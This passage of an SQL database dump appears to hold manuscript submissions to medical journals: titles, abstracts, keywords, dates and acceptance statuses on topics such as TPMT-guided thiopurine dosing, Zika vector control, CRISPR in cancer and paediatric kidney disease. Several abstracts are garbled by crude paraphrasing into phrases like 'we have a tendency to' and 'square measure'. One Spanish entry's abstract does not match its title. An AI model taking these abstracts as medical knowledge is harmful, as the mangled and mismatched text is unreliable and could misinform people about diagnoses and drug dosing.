emphasis on being completely open. However, communicating during the epidemic has occasionally been difficult, in part because being transparent can be difficult from a practical and conceptual standpoint. When scientific understanding of COVID-19 was changing and there was hesitation to accept that concerns about resource limitation were impacting public health recommendations, a unique dilemma arose. The ethical difficulties of creating and disseminating public health advise under the dual circumstances of uncertainty and resource scarcity are shown in this article using the example of delivering public health counsel on masking in the United States. The precautionary principle and harm reduction must be balanced under these circumstances, two essential ethical concepts in public health. Transparency is still a cornerstone. ','Risk communication; COVID-19; Pandemic; Transparency; Precautionary principle; Infection prevention and control',3282,NULL,'2022-12-05',NULL,'Submitted',2,NULL,'2022-12-07',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13248,13452,667,0,'iptb-22-13248','Comprehensive Evaluation of How TPMT Genotype Influences Thiopurine Treatment',NULL,14,0,'','Purine analogs, 6-mercaptopurine (6-MP) and the prodrug azathioprine (Aza) are used as immunosuppressants in the treatment of many diseases including cancer, autoimmune disorders and inflammatory diseases of the digestive tract. Treatment with thiopurines is complicated by the high variability in response observed in a patient population. The need to titrate treatment to adequate therapeutic levels is exacerbated by the cytotoxicity that can result from overdosing patients. In this comprehensive study, we evaluated the response of 946 individuals, with known thiopurine S-methyltransferase (TPMT) genotypes, to treatment with 6 MP and Aza. We determined the allelic frequencies of the most common TPMT alleles in a diverse cohort of individuals. The TPMT*1/TPMT*1 genotype was found to occur in 92.1% of the patient population, while the TPMT*1/TPMT*3A, TPMT*1/TPMT*3C, and TPMT*1/TPMT*2 genotypes were found to occur in 6.0%, 1.8%, and 0.1% of the patient population, respectively. We evaluated how genotype affected response and make safe dosing recommendation based on genotype. The observations made in this study, strongly suggests a need to prescribe patients with the TPMT*1/TPMT*3A genotype ~50% of the dose prescribed to wild type individuals and ~25% of the TPMT*1/TPMT*1 dosage to individuals carrying the TPMT*1/TPMT*3C genotype. The results presented are intended to serve as a guide to better understand the complex relationship between genotype and pharmaceutical response to thiopurine drugs. ','Thiopurine S-Methyltransferase (TPMT), 6-Mercaptopurine (6-MP), Azathioprine (Aza), Thiopurine drugs',3933,NULL,'2022-12-05',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'0','Accept for publication',0,'','',NULL,0,0,0,NULL,0),(13249,13453,85,0,'iphspr-22-13249','Local Views On Community Engagement and Public Health Ethics during Outbreaks Protection in Zika Affected In Humans',NULL,5,0,'','A public health intervention used to manage vectorborne illnesses involves aerial spraying of chemicals to kill mosquito larvae or adult mosquitoes. The action has caused controversy and community opposition in certain outbreaks. In this study, local opinion leaders in Zika-affected US communities were asked what they thought about community involvement in public health strategies for epidemic response. Focus groups were held in Houston, Texas, New Orleans, Louisiana, Miami, Florida, and Brooklyn, New York from December 2017 to March. They talked about a fictitious situation where spraying from the air was used to control vectors. Under the following 4 circumstances, participants more quickly accepted this vector control method: They were made aware of the alternatives, advantages, and environmental and human health risks. Claims about public health were supported by impartial data and an unbiased authority in the benefit of the neighbourhood. They got prompt information on how to reduce their exposure to toxins. Additionally, aerial spraying aided in protecting the weak. The local opinion leaders\' demands for community involvement are consistent with the fundamental tenets of contemporary public health ethical frameworks, including individual liberty, openness, rationality, and solidarity.','Vector control; Zika; Public health; Ethics; Disease outbreak; Community engagement',3282,NULL,'2022-12-06',NULL,'Submitted',2,NULL,'2022-12-07',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13250,13454,85,0,'iphspr-22-13250','Technology, health, and the capability approach by the ethics of dietary apps',NULL,5,0,'','Dietary applications are believed to encourage improved eating practises, enhance dietary knowledge, and increase nutritional awareness. However, their use has also brought up a number of moral and social concerns about how they affect individual freedoms, how they create power imbalances, how they prevent end users from learning more about health, how they coerce people, and even how they can have negative effects on people\'s health. This essay will examine some of the most frequent concerns levelled towards dietary apps using the capabilities approach methodology to determine what actions should be implemented to preserve people\'s rights and maintain their health. Dietary applications democratise nutritional knowledge, but they must be created and utilised in a way that is morally acceptable and considerate of users\' individual, societal, and environmental preferences. Factors of conversion this essay will show that although some forms of nudging inside dietary apps are allowed since they are frequently employed as a \"extended will,\" app developers shouldn\'t push people in agency-infringing, coercive, or aggressive methods for their own financial gain. This article will give a user-centric technique (the capacity approach) to show how food technologies should take the end-user into account while developing and utilising them. Apps that offer suggestions and record our life are becoming more and more popular and used. ','The capability approach; Technology ethics; Health ethics; Dietary apps',3282,NULL,'2022-12-06',NULL,'Submitted',2,NULL,'2022-12-07',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13251,13455,85,0,'iphspr-22-13251','Challenges of client participation in the co-development of social and health care services by Management of interactional agenda',NULL,5,0,'','Client involvement may be defined more broadly as the client\'s right to participate in the design and development of social and health care services. It is not just about choosing one\'s own course of treatment. In this essay, we look at participants\' rights to influence and control what happens in workshops where clients and social and healthcare professionals collaborate to create the social and healthcare services that their municipality offers. We investigate the interconnectedness of the participants\' rights to control interaction in the encounter (proximal deontic rights) and their right to decide about future actions that may have concrete health consequences for them. We do this by using conversation analysis as a method. stating that it is the distal deontic rights of the clients We inquire as to the amount to which the clients\' distal deontic rights are supported and restricted by who has the proximal deontic rights in the circumstance, which underlies the motivation and legitimacy for their involvement in the co-development workshops. There are both in-person and online workshops included in the data collection. Our data demonstrates that professional agenda management in the face-to-face workshops entailed command over both proximal and distal activity. The experts in the online sessions appeared to have technological issues that briefly impeded the flow of dialogue.','Agenda management; Client participation; Conversation analysis; Online interaction; Co-development; Social and health care services; Deontic rights',3282,NULL,'2022-12-06',NULL,'Submitted',2,NULL,'2022-12-07',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13252,13456,86,0,'ipaom-22-13252','New processes in the development of hypertension involving the brain kv7 channel',NULL,12,0,'',' ','Hypertension, Brain kv7 channel',3362,NULL,'2022-12-06',NULL,'Submitted',2,NULL,'2022-12-08',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13253,13457,86,0,'ipaom-22-13253','Obstacles to the development, use and regulation of artificial intelligence in anatomic pathology',NULL,3,0,'',' ','Anatomic pathology, Machine learning',5013,NULL,'2022-12-06',NULL,'Submitted',2,NULL,'2022-12-08',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13254,13458,86,0,'ipaom-22-13254','Regulations and research methods to examine the biodistribution of RNA therapies',NULL,11,0,'','  ','RNA therapies, mRNA, Biodistribution',5013,NULL,'2022-12-06',NULL,'Submitted',2,NULL,'2022-12-08',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13255,13031,45,0,'iphsj-22-13255','LH Ovulation Rapid Test Cassette (Urine) plays an important role in preparing pregnant',NULL,14,0,'','Background\r\nLuteinizing hormone (LH) plays a vital role in induced ovulation and controlled ovarian hyperstimulation in human assisted reproduction. This evaluation has a brief review of the roles of LH in supporting follicular development and function of LH Ovulation Rapid Test Cassette in preparing pregnancy.\r\n\r\nA rapid increase in LH plasma, called an LH surge, induces ovulation within 2–3 days. The surge can be detected by the observation of LH in serum or urine with ovulation predictor kits (OPKs). If a woman knows the duration of her menstrual cycle, she can plan the timing of testing. The average length of the menstrual cycle is 28 days, but a regular cycle lasting anywhere between 24 and 38 days is considered normal. The cycle length is determined by follicular growth and by the lifespan of the corpus luteum.[1] Many women experience varying cycle lengths with back and forth shifts in the day of ovulation, which may pose a problem especially for infertility patients. To detect ovulation, patients are required to determine LH levels in urine with an OPK daily until getting a positive result, which causes undue stress in addition to the financial burden.\r\n\r\nTo optimize the probability of conception in a menstrual cycle, the appropriate timing of intercourse is of utmost importance. Randomized controlled trials show evidence that ovulation predictor kits (OPKs) may increase pregnancy rates. In ovulatory cycles, ovulation usually occurs about 14 days before the onset of the next period. The length of the normal ovulatory cycle may vary considerably (26-35 days, mean 28 days), and extensive variations both in follicular (10-23 days) and luteal phases (7-19 days).[2] Thus, making the prediction of ovulation and appropriate timing for intercourse or natural cycle intrauterine insemination is rather challenging.\r\n\r\nObjective\r\nThe main purpose of this evaluation report was to explore the reliability and performance of the Citest LH Ovulation Rapid Test Cassette for the qualitative detection of of luteinizing hormone (LH) in urine to aid in the detection of ovulation.\r\n\r\nMethod\r\nRun a rapid chromatographic immunoassay for the qualitative detection of LH in urine to aid in the detection of ovulation, containing the anti-LH particles and anti-LH antibody coated on the membrane.\r\n\r\nResult\r\nThe results show that the overall relative sensitivity for the detection of LH Ovulation Rapid Test Cassette (Urine) is 40mIU/ml, and the accuracy is 99.0%.\r\n\r\nConclusion\r\nCitest LH ovulation Rapid Test Cassette (Urine) is a rapid test that utilizes a rapid chromatographic immunoassay for the qualitative detection of luteinizing hormone (LH) in urine to aid in the detection of ovulation. \r\n\r\nThe product is simple to operate, gives results within 5 minutes of the sample being tested and has high accuracy. Women can use this test kit to obtain accurate results and to determine the ideal time to get pregnant.','',2800,NULL,'2022-12-07',NULL,'Submitted',2,NULL,'2022-12-23',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13256,13460,959,0,'ipacr-22-13256','Using CRISPR/Cas9 as precise and high-throughput genetic engineering tools in the study and treatment of gastrointestinal cancer',NULL,5,0,'','Cancer accounted for pretty much 10 million deaths worldwide in 2020. Metastasis, characterised by neoplastic cell invasion to alternative components of the body, is that the main reason for cancer morbidity and mortality. Therefore, understanding the molecular mechanisms of tumour formation and discovery of potential drug targets square measure of nice importance. factor written material techniques are often accustomed realize novel drug targets and study molecular mechanisms. during this review, we have a tendency to describe however common gene-editing ways like CRISPR/Cas9, TALEN and ZFNs work, and, by comparison them, we have a tendency to demonstrate that CRISPR/Cas9 has superior potency and exactness. we have a tendency to more give an outline of the recent applications of CRISPR/Cas9 to cancer analysis, that specialize in the foremost common cancers like carcinoma, carcinoma, body part cancer, and prostatic adenocarcinoma. we have a tendency to describe however these applications can form future analysis and treatment of cancer, and propose new ways in which to beat current challenges.','',5408,NULL,'2022-12-08',NULL,'Submitted',2,NULL,'2022-12-15',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(13257,13461,959,0,'ipacr-22-13257','State of the Science in Radiation Oncology and Priorities for Clinical Trials Meeting Report from the European Organization for Research and Treatment of Cancer',NULL,5,0,'','New technologies and techniques in radiation medical specialty and imaging supply opportunities to reinforce the good thing about loco-regional treatments expand treatment to new patient populations like those with oligometastatic unwellness and reduce traditional tissue toxicity. Moreover, novel agents became obtainable which can be combined with actinotherapy, and identification of radiation-related biomarkers is studied to refine treatment prescriptions. Finally, the utilization of AI (AI) capabilities can also improve treatment quality assurance or the benefit with that radiation dosing is prescribed. All of those potential advances gift each opportunities and challenges for educational clinical researchers. Recently, the Organisation for analysis and Treatment of Cancer addressed these topics in an exceedingly meeting of multiple stakeholders from Europe and North America. the subsequent 5 themes radiobiology-based biomarkers, new technologies – significantly nucleon beam medical aid, combination general and actinotherapy, management of oligometastatic unwellness and AI opportunities in radiation medical specialty were mentioned in an exceedingly State of Science format to outline key controversies, nonreciprocal queries and propose run priorities for development.','',5399,NULL,'2022-12-08',NULL,'Submitted',2,NULL,'2022-12-15',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(13258,13462,959,0,'ipacr-22-13258','Following the lifestyle recommendations for cancer prevention and Cancer of Unknown Primary Risk from the World Cancer Research Fund and the American Institute for Cancer Research',NULL,5,0,'','The World Cancer analysis Fund (WCRF) and yank Institute for Cancer analysis (AICR) updated their cancer interference recommendations in 2018. Adherence to those recommendations has been related to lower cancer risk and mortality. However, adherence in regard to Cancer of Unknown Primary (CUP) risk has not been studied. This study investigates whether or not adherence to the WCRF/AICR recommendations is related to CUP risk.Data from the possible European country Cohort Study on diet and cancer was wont to live adherence to the recommendations in regard to CUP risk. The cohort includes one hundred twenty 852 participants (aged 55–69 years), UN agency completed a self-administered form on cancer risk factors at baseline. Adherence was investigated with reference to body fat, physical activity, plant foods, meat consumption and alcohol. Incident CUP cases were known through record linkage to Netherlands Cancer register and Dutch Pathology register. A follow-up of twenty.3 years, resulted in 856 incident CUP cases and 3911 subcohort members with complete info obtainable for case-cohort analyses. Multivariable adjusted hazard ratios were calculable victimization proportional hazards models and were adjusted for age at baseline, sex, roll of tobacco smoking (status, frequency, and duration) and total energy intake.Cancer of Unknown Primary (CUP) could be a metastasized malignancy with no recognisable primary growth origin throughout life','',4964,NULL,'2022-12-08',NULL,'Submitted',2,NULL,'2022-12-15',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(13259,13463,959,0,'ipacr-23-13259','Position Paper on Management and Shared Decision-making in Patients with Low-risk Micro Papillary Thyroid Carcinoma from the Endocrine Task Force of the European Organization for Research and Treatment of Cancer ',NULL,2,0,'','Globally, there has been an increase in the incidence of differentiated thyroid cancer (DTC), primarily due to an increase in the incidental discovery of micro papillary thyroid carcinomas (microPTCs), many of which may have received unnecessary treatment based on the unchanging mortality rate. A less combative strategy has been recommended by several international guidelines. Active surveillance or minimally invasive therapies (MIT) have lately been proven to be effective alternatives for the management of these individuals. Participation of the patient in the decision-making process is crucial in this situation. The European Organization for Research and Treatment of Cancer\'s Endocrine Task Force (EORTC) has taken on the task of reaching agreement and defining its position based on the scientific evidence regarding 1) the current state of diagnostic and management options in microPTCs, including the current opinion of physicians regarding shared decision making (SDM), 2) the available evidence concerning patients\' needs and the available decision instruments, and 3) to provide useful suggestions for implementing SDM in this context. Knowledge gaps and future research directions were emphasized in order to increase SDM and patients\' participation.','',5399,NULL,'2022-12-08',NULL,'Submitted',2,NULL,'2023-01-18',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13260,13464,959,0,'ipacr-22-13260','Recommendations from the Conference on the State of Science in Sarcoma on Controversies in the Management of Patients with Soft Tissue Sarcoma',NULL,5,0,'','During the primary accord Conference on the State of Science in cancer (CSSS), we have a tendency to used a changed Delphi method to spot areas of tilt within the field of cancer, to call topics with restricted evidence-based information within which a scientific and data gap might stay and a accord statement can facilitate to guide patient management. we have a tendency to determined scientific queries which require to be addressed  within the future so as to come up with proof and to tell physicians and caregivers in daily clinical follow so as to enhance outcomes of patients with cancer.\r\nSoft tissue sarcomas (STS) and animal tissue tumours of intermediate malignancy square measure rare, with associate incidence of roughly 4-9/100,000/year in Europe. they will occur nearly anyplace within the body, leading to a good type of attainable shows. Most sarcomas arise within the extremities (ESTS), abdomen/retroperitoneum, and trunk.\r\n','',5400,NULL,'2022-12-08',NULL,'Submitted',2,NULL,'2022-12-15',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(13261,13465,277,0,'ipadm-22-13261','El perfil de metilación del ADN de todo el genoma identifica biomarcadores de la competencia y un modelo atómico potencial para el trastorno metabólico',NULL,5,0,'','El Consorcio de Modelado Global de COVID-19 y Cáncer (CCGMC) se estableció en mayo de 2020 para abordar la necesidad global de evidencia sobre el impacto de las interrupciones y su moderación. El CCGMC tiene la intención de organizar la investigación pertinente sobre COVID-19 y la enfermedad y establecer escenarios de demostración esclarecedores para la toma de decisiones sobre el control del crecimiento maligno. El CCGMC ha establecido tres flujos de trabajo interconectados para examinar el impacto de COVID-19 en los resultados de la detección y el análisis de crecimiento maligno y el riesgo de enfermedad. El objetivo es desarrollar un marco que permita la distribución de proyecciones a corto y largo plazo actualizadas regularmente de resultados significativos de crecimiento maligno. Se está prestando mucha atención a la evaluación de posibles estrategias de priorización y recuperación, tanto durante como después de las graves interrupciones en la administración social y de bienestar experimentadas a nivel mundial.','',5390,NULL,'2022-12-08',NULL,'Submitted',2,NULL,'2022-12-13',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13262,13466,277,0,'ipadm-22-13262','Un haplotipo de óxido nítrico sintasa inducible conecta la hipertensión y la respuesta al tratamiento con medicamentos antihipertensivos',NULL,5,0,'','La articulación y la acción de la óxido nítrico sintasa inducible expandida (iNOS) son dos de los muchos factores que contribuyen a la hipertensión. Si bien la articulación de iNOS se ve afectada por polimorfismos hereditarios, se desconoce si los polimorfismos de calidad de iNOS tienen un impacto en qué tan sensibles son las personas a los medicamentos antihipertensivos y qué tan vulnerables son a la hipertensión. Este estudio tuvo como objetivo investigar las asociaciones entre la hipertensión y la respuesta al tratamiento con medicamentos para los polimorfismos iNOS ((CCTTT)n, g.- 1026C>A y g.2087G>A) y haplotipos. Nos centramos en 115 pacientes hipertensos bien controlados (HTN), 82 resistentes a la terapia antihipertensiva mejorada (RHTN) y 113 sujetos normotensos sanos (NT).','',5396,NULL,'2022-12-08',NULL,'Submitted',2,NULL,'2022-12-13',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13263,13467,277,0,'ipadm-22-13263','El impacto de los mini STR en el perfilado criminológico de ADN de las pruebas de ADN táctil',NULL,5,0,'','Los MiniSTR tienen una serie de ventajas potenciales, que son innegables. Según algunos estudios, los miniSTR son más sensibles y robustos cuando se examina ADN degradado y de bajo formato. En este enfoque, necesitamos demostrar tanto el beneficio general de usar miniSTR en pruebas de trabajo de casos legales reales como el grado en que las pruebas se benefician del examen con loci miniSTR adicionales en términos de producir un perfil valioso. Las 3064 pruebas táctiles de ADN que se examinaron en nuestro centro autorizado de investigación científica de perfiles de ADN de rutina entre mediados de 2009 y mediados de 2013 fueron los ejemplos que se tomaron en consideración. De estos 3064 ejemplos, 618 se examinaron utilizando 13 loci, 532 se examinaron utilizando 15 loci y 1914 se examinaron utilizando 20 loci, de los cuales 5 eran los loci midi-STR, que se agregaron al conjunto estándar europeo extendido y eran más pequeños de lo habitual (ESS). Los hallazgos de la revisión indican una tasa de logro ligeramente mayor luego de la implementación de loci adicionales y un aumento notablemente más modesto luego de la implementación de la investigación a pequeña escala y midi-STR. Solo hay unas pocas pruebas de ADN táctiles que se benefician al observar loci de escala extrapequeña y midi-STR.','',5023,NULL,'2022-12-09',NULL,'Submitted',2,NULL,'2022-12-14',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13264,13468,85,0,'iphspr-22-13264',' DETERMINANTS FOR NON-ENROLMENT IN COMMUNITY BASED HEALTH INSURANCE SCHEME IN SOUTH ARI DISTRICT, SOUTH OMO ZONE, SOUTHERN ETHIOPIA 2022.',NULL,5,0,'','Background: Community-Based Health Insurance is an emerging concept for providing financial protection against the cost of illness and improving access to quality health services for low-income rural households who are excluded from formal insurance. To reduce out of pocket expenditure the different countries introduce different health insurance scheme however a big challenge is non-enrolment in scheme.\r\nObjective: To identify determinants of non-enrollment in community based health insurance scheme in South Ari District, South Omo Zone, Southern Ethiopia 2022.\r\nMethods: Community based unmatched Case-Control study design was employed with 1:1 ratio from April 20 to May 20 2022 among 448 participants (224 Non enrolled and 224 enrolled. Structured and pretested questionnaire were used for data collection. Bi-variable and multivariable logistic regression analysis were carried out using SPSS version 25. And the significance of the statistical association was determined based on p<0.05. The model fitness was checked using Hosmer-Lemeshow goodness of fit test by assumption of chi-square distribution and adjusted odds ratio with 95% confidence interval used.\r\nResult: A total of 438 respondents (219 Non-enrolled and 219 enrolled) in scheme were employed. No drug availability in Health facility (AOR=2.56,95% CI:1.12-5.83), disagree with CBHI regular payment affordable to household (AOR=6.13; 95% CI: 2.75-13.66), disagree with time of premium payment convenient to households (AOR=4.23; 95% CI: 1.68-9.60) and disagree with trustworthiness of CBHI managers (AOR=6.73; 95% CI:3.09-14.63) were significant factors for non-enrolment in the community-based health insurance. \r\nConclusion: Society’s non-enrolment decision in community based health insurance scheme was determined by: No availability of prescribed drug in health facility, lack of trustworthy in CBHI managers, not convenient premium collection period providing appropriate drug to health facilities, adjust the premium collection time, made affordable premium by considering their households’ income level and trustily serve the community increase enrollment.','Health Insurance, Non-enrolment, Determinant, Ethiopia ',2141,NULL,'2022-12-11',NULL,'Submitted',2,NULL,'2022-12-24',NULL,1,1,'1',NULL,0,'','',NULL,0,0,1,NULL,0),(13266,13471,277,0,'ipadm-22-13266','Actualización médica en cáncer: oncología molecular del cáncer de cabeza y cuello',NULL,5,0,'','Una amplia gama de tumores, que suelen ser de naturaleza biológicamente agresiva, constituyen las neoplasias malignas de cabeza y cuello. Estos tumores aún son difíciles de curar y los efectos secundarios de la terapia pueden ser graves y duraderos. Hay pocas opciones terapéuticas viables para las personas que no pueden curarse con cirugía o radioterapia. Para mejorar la atención, reducir la toxicidad del tratamiento y permitir la selección de pacientes que probablemente se beneficiarán de las terapias no selectivas y dirigidas, se necesitan con urgencia medicamentos dirigidos y biomarcadores predictivos. Esta actualización clínica cubre los nuevos medicamentos que ahora se están desarrollando y probando en entornos clínicos para brindar a los lectores una idea del estado del conocimiento sobre la etiología molecular de la enfermedad.','',5350,NULL,'2022-12-12',NULL,'Submitted',2,NULL,'2022-12-15',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13267,13472,277,0,'ipadm-22-13267','Potencial de la secuenciación del exoma completo en genética médica',NULL,5,0,'','Se pueden secuenciar varias cadenas de ADN simultáneamente utilizando tecnologías de secuenciación de ADN masivamente paralelas. Estas innovaciones están alterando la forma en que entendemos la genética médica, impulsando las iniciativas de mejora de la salud y allanando el camino para una medicina individualizada totalmente comprendida en un futuro no muy lejano. Mediante el uso de tecnologías de próxima generación, la secuenciación del exoma completo se puede utilizar para analizar todos los exones, o regiones codificantes, de genes conocidos. Más del 95 % de los exones están cubiertos por WES, que también cubre muchos SNP que predisponen a enfermedades que se encuentran en todo el genoma y contiene el 85 % de las mutaciones que causan enfermedades en las enfermedades mendelianas.','',5023,NULL,'2022-12-12',NULL,'Submitted',2,NULL,'2022-12-15',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13268,13473,85,0,'iphspr-22-13268','Safety and health promotion level of occupational in Czech family manufacturing',NULL,5,0,'','This article\'s goal is to assess the degree of workplace safety and health promotion in micro, small, and medium-sized businesses, an issue that is now in the news due to the coronavirus epidemic. SMEs in the Czech Republic are frequently run by families. The study\'s objective to learn how Czech family manufacturing businesses approach OSH promotion was carried out on a sample of respondents. Data was analysed utilising statistical techniques and empirical research approaches. The OSH principles or procedures and the size of the firm were compared using the Chi-square test to find the specifics in manufacturing companies. Regarding their KPIs in the area of OSH, the surveyed firms were examined. To Wilcoxon signed rank test was used to analyse changes in the KPIs\' significance before and after the COVID-19 epidemic. To determine if the importance of each KPI is connected to the size of the organisation, all of the KPIs were put to the test using an ANOVA study. The most significant conclusion is that, despite the fact that the surveyed firms\' application of OSH promotion concepts is not good, they nonetheless succeed in doing so. The research can assist establish initiatives to promote OSH promotion and also offer suggestions on how to evaluate the degree of OSH promotion in such SMEs. The report can be useful for professionals working in different manufacturing SMEs and OSH promotion.','Occupational safety and health; Promotion; Family manufacturing enterprise; Level; Research',3282,NULL,'2022-12-12',NULL,'Submitted',2,NULL,'2022-12-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13270,13475,85,0,'iphspr-22-13270','Synergies and fragmentations of universal health coverage global health security, and health promotion in delivery of frontline health care services',NULL,5,0,'','Activities related to universal health coverage and global health security include reducing dangers to health and well-being rights presented by infectious disease epidemics and made possible by initiatives to promote health. This case study looked at Bangladesh\'s ability and readiness to \"prevent, identify, and respond\" to such epidemic- or pandemic-like events. To identify obstacles and chances for \"synergy\" across different streams of activity, a quick assessment of pertinent papers, key informant interviews with policymakers/practitioners, and a deliberative discourse with a tangle of stakeholders were employed. The results show conceptual misunderstanding among respondents on the three \"agendas\" scope and their connections. They thought the overlap between UHC and GHS was needless and were fixated on retaining their own support bases and financial resources. A lack of cooperation amongst the field\'s focus agencies Additional obstacles to improved pandemic/epidemic preparedness in the future included activities, a lack of supporting infrastructure, and a scarcity of people and financial resources. ','Universal health coverage; Global health security; Health promotion; Synergy and fragmentation; Case study; Bangladesh',3282,NULL,'2022-12-12',NULL,'Submitted',2,NULL,'2022-12-24',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13271,13476,277,0,'ipadm-22-13271','Una ruta de administración en farmacología y toxicología es la ruta por la cual una droga, líquido, veneno u otra sustancia ingresa al cuerpo',NULL,5,0,'','Las vías de administración generalmente se clasifican según el sitio en el que se aplica la sustancia. Los ejemplos comunes incluyen la administración oral e intravenosa. Las rutas también se pueden clasificar según la ubicación de los objetivos de acción. El efecto puede ser local, enteral (efecto sistémico pero administrado a través del tracto gastrointestinal) o parenteral (efecto sistémico pero administrado a través de una vía distinta del tracto gastrointestinal). La vía de administración y la forma de dosificación son aspectos de la administración del fármaco.','',5023,NULL,'2022-12-12',NULL,'Submitted',2,NULL,'2022-12-15',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13272,13477,277,0,'ipadm-22-13272','Principios y términos de la medicación Ayurveda tradicional en los países asiáticos',NULL,5,0,'','Ayurveda, Medicina Tradicional India (TIM) y Medicina Tradicional China (MTC) siguen siendo las tradiciones más antiguas y vibrantes. El interés por la medicina tradicional está creciendo en todo el mundo. Se están realizando esfuerzos para monitorear y regular la medicina herbaria y la medicina tradicional. China ha tenido éxito en la promoción de tratamientos con más investigación y un enfoque basado en la ciencia, pero Ayurveda necesita una investigación científica y una base de evidencia más amplias. Describe los principios básicos y las similitudes de la medicina tradicional china y analiza los factores críticos de éxito que estas tradiciones de excelencia deben tener en cuenta para seguir siendo competitivas en el mercado mundial.','',5022,NULL,'2022-12-12',NULL,'Submitted',2,NULL,'2022-12-15',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13273,13478,277,0,'ipadm-22-13273','Una breve introducción a la diabetes mellitus gestacional',NULL,5,0,'','El término diabetes mellitus gestacional (DMG) se refiere a diversos grados de intolerancia a la glucosa que se notan por primera vez durante el embarazo. Las mujeres embarazadas se someten a pruebas de detección de factores de riesgo clínicos y a pruebas de tolerancia anormal a la glucosa, que por lo general, aunque no siempre, es leve y asintomática. Luego se identifica GDM. La amplia variedad de anomalías fisiológicas y genéticas que caracterizan a la diabetes fuera del embarazo parecen ser la causa de la DMG. De hecho, incluso cuando no están embarazadas, las mujeres con DMG son muy susceptibles de desarrollar o tener diabetes. Como resultado, GDM ofrece una rara oportunidad de investigar la patogenia temprana de la diabetes y crear medidas preventivas.','',5390,NULL,'2022-12-12',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13274,13479,277,0,'ipadm-22-13274','Los factores de la coagulopatía por COVID-19',NULL,5,0,'','La coagulopatía y las consecuencias trombóticas son comunes en COVID-19. Pero la coagulopatía asociada a COVID-19 (CAC) difiere de la coagulopatía inducida por sepsis bacteriana (SIC) y la coagulación intravascular diseminada (DIC) en que típicamente exhibe niveles elevados de dímero D y fibrinógeno, pero inicialmente alteraciones menores en el tiempo de protrombina y el recuento de plaquetas. En CAC versus SIC/DIC, el tromboembolismo venoso y la trombosis arterial son más comunes. El síndrome antifosfolípido, la microangiopatía trombótica y el síndrome hemofagocítico comparten algunas características clínicas y bioquímicas con la CAC. Enumeramos los rasgos más destacados de las coagulopatías de muestra, comparándolos y contrastándolos para resaltar las características distintivas de CAC.','',5119,NULL,'2022-12-12',NULL,'Submitted',2,NULL,'2022-12-17',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13275,13480,277,0,'ipadm-22-13275','Diagnóstico y tratamiento de la hipertensión arterial pulmonar',NULL,5,0,'','La hipertensión arterial se diagnostica cuando las mediciones repetidas en el consultorio de un médico arrojan valores de 140/90 mmHg o más. El diagnóstico debe confirmarse mediante un control ambulatorio de la presión arterial de 24 horas o mediante medición domiciliaria. También se deben considerar otros factores de riesgo y daños en los órganos diana. Según las guías europeas vigentes, el objetivo de presión arterial para todos los pacientes, incluidos aquellos con diabetes mellitus o insuficiencia renal, es <140/90 mmHg. Si el tratamiento es bien tolerado, para la mayoría de los pacientes se recomienda una mayor reducción de la presión arterial, con un límite inferior definido. Las principales medidas no farmacológicas contra la hipertensión arterial son la reducción de sal en la dieta, evitar el consumo excesivo de alcohol, dejar de fumar, una dieta equilibrada, ejercicio físico y pérdida de peso.','',5356,NULL,'2022-12-12',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13276,13481,277,0,'ipadm-22-13276','Efecto de la enfermedad renal crónica en niños',NULL,5,0,'','A diferencia del creciente conjunto de información sobre el tratamiento de niños con enfermedad renal constante que proviene de amplios estudios de observación e intervención, la información epidemiológica sobre la ocurrencia y la omnipresencia de la ERC pediátrica es ahora escasa, incierta y cargada de errores debido a irregularidades estratégicas entre las diversas fuentes de información. Las causas registradas de la ERC en los niños difieren por completo según el lugar, hasta cierto punto debido a las variedades raciales, étnicas, hereditarias y sociales. Poco a poco, una parte crítica de los niños experimenta ERC bastante temprano en la vida, con irregularidades renales congénitas como uropatía obstructiva y aplasia/hipoplasia/displasia que representan aproximadamente una parte, en igualdad de condiciones. El método de tratamiento de la enfermedad renal en etapa terminal más popular en los niños es el trasplante renal, pero la falta de activos de servicios médicos y la alta mortalidad discreta en la escena en desarrollo restringe la oferta mundial de la terapia de sustitución renal y afecta la frecuencia de los pacientes. Los esfuerzos adicionales para caracterizar el estudio de la transmisión de la enfermedad de la ERC pediátrica en general son vitales si se desea una comprensión superior del grado total del problema, las regiones para el estudio y el efecto probable de la intervención.','',4946,NULL,'2022-12-12',NULL,'Submitted',2,NULL,'2022-12-16',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13277,13483,971,0,NULL,'La relevancia clínica de las ideas farmacéuticas, la progresión de la enfermedad y la formulación del desarrollo de nuevos fármacos',NULL,5,0,'','La investigación de formulaciones implica el desarrollo de formulaciones que sean estables y aceptables para los pacientes. Para los medicamentos administrados por vía oral, esto generalmente implica incorporar el medicamento en una tableta o cápsula. Es importante distinguir que las tabletas contienen varias sustancias potencialmente inertes 